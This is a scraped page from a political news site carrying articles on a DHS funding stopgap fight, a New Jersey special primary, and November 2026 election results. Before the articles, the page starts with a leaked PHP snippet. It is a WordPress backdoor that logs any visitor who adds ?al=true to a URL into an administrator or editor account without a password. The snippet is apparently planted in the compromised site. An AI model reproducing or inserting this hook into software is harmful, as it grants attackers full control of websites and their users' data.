// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Capitol agenda: The Democrats not opposed to another DHS punt – Blue Light News
Connect with us

Congress

Capitol agenda: The Democrats not opposed to another DHS punt

Published

9 months ago

on

A sizable number of Senate Democrats haven’t ruled out another short-term funding punt for the Department of Homeland Security.

Democratic leaders Hakeem Jeffries and Chuck Schumer sent a formal wishlist of DHS policy changes Wednesday to GOP leaders Mike Johnson and John Thune. But Republicans have little interest in their ideas, with leaders hinting at the need for another continuing resolution to buy more time for talks.

— Dodging the question: “We need to keep as many options on the table as possible,” Sen. Jeanne Shaheen (D-N.H.) told reporters when asked whether she would rule out a CR.

Shaheen was one of the eight Senate Democrats who voted to help Republicans end the record government shutdown last fall. Some other senators in that group also didn’t give direct answers Wednesday on whether they’d support a second DHS stopgap — a stark contrast to many fellow Democrats, who immediately rejected the idea.

Most of the eight Democrats instead noted there’s more than a week before the funding cliff arrives.

“As soon as you say [another CR], you can bet it’ll take another two, three weeks to reach a conclusion,” Sen. Dick Durbin, the No. 2 Democrat, told Calen. “We can fix this problem. We’ve got enough time to do it by the 13th of this month.”

“We’re going to give [Republicans] a proposal and they should say yes to it,” Sen. Tim Kaine (D-Va.) told Blue Light News. Asked if he’d help move another funding patch if Republicans object to their pitches, Kaine said, “I won’t say past that.”

Sen. Catherine Cortez Masto (D-Nev.) also did not respond directly to questions about whether she’d support another DHS CR.

— The brewing CR length fight: Another stopgap to buy time for more talks is one thing; a full-year CR like what Thune is floating is another.

Democrats want to force the White House and Republicans into a deal in the next few days. They are opposed to a year-long measure that would keep the status quo at DHS and allow the administration more leeway in how it uses money for ICE and Customs and Border Protection.

Some Democrats who plan to attend Thursday morning’s National Prayer Breakfast are hoping to talk directly with Trump about his immigration agenda and the recent killings of two U.S. citizens in Minnesota at the hands of federal agents.

Thune is open to another two-week measure, but said “it may be the best way to deal with this particular appropriations bill is do a year-long CR, if that’s what it takes.” Keep an eye on whether the majority leader starts laying the procedural groundwork for a CR before the Senate adjourns Thursday.

While Johnson is “optimistic” there will be a DHS deal, he told Blue Light News he was “neither ruling it in or out” when it comes to a short-term CR.

“I don’t make any projections on that,” Johnson added about the possibility of a full-year CR for DHS.

What else we’re watching:   

— The likely next member of the House: New Jersey voters Thursday will pick Gov. Mikie Sherrill’s likely successor in Congress in the first congressional Democratic primary election of the 2026 midterms.

Eleven Democrats are vying in a special election primary to fill the reliably-blue 11th District seat. Among the front-runners is former Rep. Tom Malinowski, who represented the 7th District for two terms before he lost the 2022 race to Republican Rep. Tom Kean.

Mia McCarthy, Meredith Lee Hill and Timothy Cama contributed to this report.

Related Topics:
Continue Reading
Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

Congress

Aaron Ford flips Nevada governorship, becoming state’s first Black governor

Published

4 hours ago

on

November 4, 2026

By

Democrat Aaron Ford won Nevada’s gubernatorial race, ousting Republican incumbent Joe Lombardo and becoming the first Black person elected to lead the battleground state.

Ford’s victory gives Democrats a key pickup and elevates the two-term attorney general, who made his working-class upbringing and ties to organized labor central to his campaign. He joins a growing list of Black governors-elect, following earlier victories by Democrat Keisha Lance Bottoms in Georgia and Republican Rep. Byron Donalds in Florida.

Ford, a native of Dallas, campaigned on building more affordable housing, expanding union apprenticeship programs and repealing the state’s right-to-work law, with backing from the powerful Culinary Union.

His win returns the governor’s office to Democratic control four years after Lombardo defeated Democratic Gov. Steve Sisolak. Ford overcame the incumbent’s substantial financial advantage in a race that tested Democrats’ efforts to win over working-class voters.

The result is a turnaround for Democrats in a state Donald Trump carried by 3 percentage points in 2024, and it gives the party an opening to rebuild support in a major battleground state ahead of 2028.

Continue Reading

Congress

Arizona, Nebraska voters approve transgender athlete bans

Published

4 hours ago

on

November 4, 2026

By

The conservative movement to bar transgender athletes from women’s sports showed its message could resonate beyond Republican strongholds.

Voters in Arizona — a state with a Democratic governor and senators — approved a ballot initiative further restricting transgender students from participating on sports teams that align with their gender identity.

The measure expands the state’s existing ban on trans athletes participating on women’s school sports teams, adds restrictions on locker-room use and defines a person’s sex based on their original birth certificate.

Similar measures in Colorado and Washington are leading in early results, though votes are still being counted. In Nebraska, voters also added a ban to their state constitution.

The issue has found a champion in President Donald Trump, who has pushed a suite of anti-trans federal policies since returning to the White House.

But conservatives had made little progress outside the red states that swiftly passed bans in recent years. The measures on the ballot this year marked the first time voters had the chance to weigh in on the issue. The measures’ success could fuel similar campaigns to bypass resistant legislatures in more states.

Continue Reading

Congress

Trump’s two new tormenters: Courts and Congress

Published

4 hours ago

on

November 4, 2026

By

Donald Trump awakens Wednesday boxed in. Already in the pincer grip of federal courts that have slowed his agenda, he now faces a historically powerful incoming Democratic majority in Congress, eager to turn their gavels and subpoena power on their longtime tormentor.

And he’ll face them down while a new crop of Republicans seeks to eclipse him as the leader of their party.

This is how the last chapter of the Trump era in Washington begins.

For Trump, it’s an unfamiliar position. He has spent a decade seeking to project invincibility and has spent the first two years of his second term asserting unprecedented executive power with little pushback from a Republican-controlled Congress. He sought to salvage that reputation with a social media post as Republican losses piled up.

“I wasn’t on the Ballot and if I was, we would have won IN A LANDSLIDE!” he wrote Tuesday night.

Not exactly a salve for a party in crisis.

Democrats also face a choice: how much of their investigative muscle and political capital are they willing to spend investigating a weakened Trump. The party continues to see Trump as a useful, unifying foil. Some of their incoming members have flirted with seeking to impeach him a third time, though Democratic leaders have not committed to that course.

If there was any doubt about the House’s intent, however, Rep. Robert Garcia — expected to lead the House Oversight Committee — erased it quickly.

“LAWYER UP,” Garcia posted on X Tuesday night, just as news outlets began calling the House for Democrats. Garcia and other House allies have projected a muscular investigative agenda aimed at what they have described as Trump’s corruption and alleged self-enrichment, his abuses of executive power, his misuse of pardons for the politically and financially connected and his decision to empower ICE to lead a mass deportation campaign.

Trump has never willingly ceded the spotlight — and has never needed to. Before Tuesday, he was at his weakest point in 2021, shortly after a mob of his supporters attacked the Capitol and Republican leaders seemed poised to abandon him. But because he remained politically viable, those leaders quickly returned to the fold, helping engineer his return to power and beat back impeachment and a fusillade of criminal charges.

Now, though, there is no political future for Trump, who is in his final two years of elected office. And it was in that context that he signaled a rare conciliatory approach Tuesday.

“We’re going to work with the Democrats to make sure things go well for our country,” he said in an interview with Blue Light News’s Dasha Burns on Blue Light News Elections Live. “I don’t want to sit here for two years just vetoing everything.”

Continue Reading

Trending